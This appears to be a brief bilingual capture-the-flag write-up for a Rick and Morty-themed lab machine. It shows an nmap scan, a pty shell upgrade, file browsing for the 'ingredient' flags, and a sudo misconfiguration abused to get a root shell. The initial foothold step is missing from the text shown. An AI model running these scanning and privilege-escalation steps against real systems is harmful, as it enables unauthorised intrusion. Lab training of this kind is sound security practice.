This Rick and Morty-themed challenge requires you to exploit a web server and find three ingredients to help Rick make his potion and transform himself back into a human from a pickle. 这个以瑞克和莫蒂为主题的挑战需要你利用网络服务器并找到三种成分来帮助瑞克制作他的药水,并将自己从泡菜变回人类。
1.扫面端口服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(root㉿kali)-[/home/ace] └─# nmap -T4 -sC -sV 10.10.77.88 Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-0220:35 CST Nmap scan report for10.10.77.88 Host is up (0.26s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 20481fe0d95dd18260868b59be032663c81e (RSA) | 256 e35968585967939fe85d95b2d4d687d1 (ECDSA) |_ 256616fd51e2aa6ee0675204c9a8b5e2111 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Rick is sup4r cool |_http-server-header: Apache/2.4.18 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in45.74 seconds
python3 -c"import pty;pty.spawn('/bin/bash')" www-data@ip-10-10-77-88:/var/www/html$cd ../../.. cd ../../.. www-data@ip-10-10-77-88:/$ls ls bin etc lib media proc sbin sys var boot home lib64 mnt root snap tmp vmlinuz dev initrd.img lost+found opt run srv usr www-data@ip-10-10-77-88:/$cd home cd home www-data@ip-10-10-77-88:/home$ls ls rick ubuntu www-data@ip-10-10-77-88:/home$cd rick cd rick www-data@ip-10-10-77-88:/home/rick$ls ls second ingredients www-data@ip-10-10-77-88:/home/rick$cat second ingredients cat second ingredients cat: second: No such file or directory cat: ingredients: No such file or directory www-data@ip-10-10-77-88:/home/rick$cat"second ingredients" cat"second ingredients" 1 jerry tear www-data@ip-10-10-77-88:/home/rick$
www-data@ip-10-10-77-88:/home/rick$ sudo -l sudo -l Matching Defaults entries for www-data on ip-10-10-77-88.eu-west-1.compute.internal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ip-10-10-77-88.eu-west-1.compute.internal: (ALL) NOPASSWD: ALL www-data@ip-10-10-77-88:/home/rick$ sudo /bin/bash sudo /bin/bash root@ip-10-10-77-88:/home/rick# ls ls second ingredients root@ip-10-10-77-88:/home/rick# cd ../.. cd ../.. root@ip-10-10-77-88:/# cd root cd root root@ip-10-10-77-88:~# ls ls 3rd.txt snap root@ip-10-10-77-88:~# cat 3rd.txt cat3rd.txt 3rd ingredients: fleeb juice root@ip-10-10-77-88:~#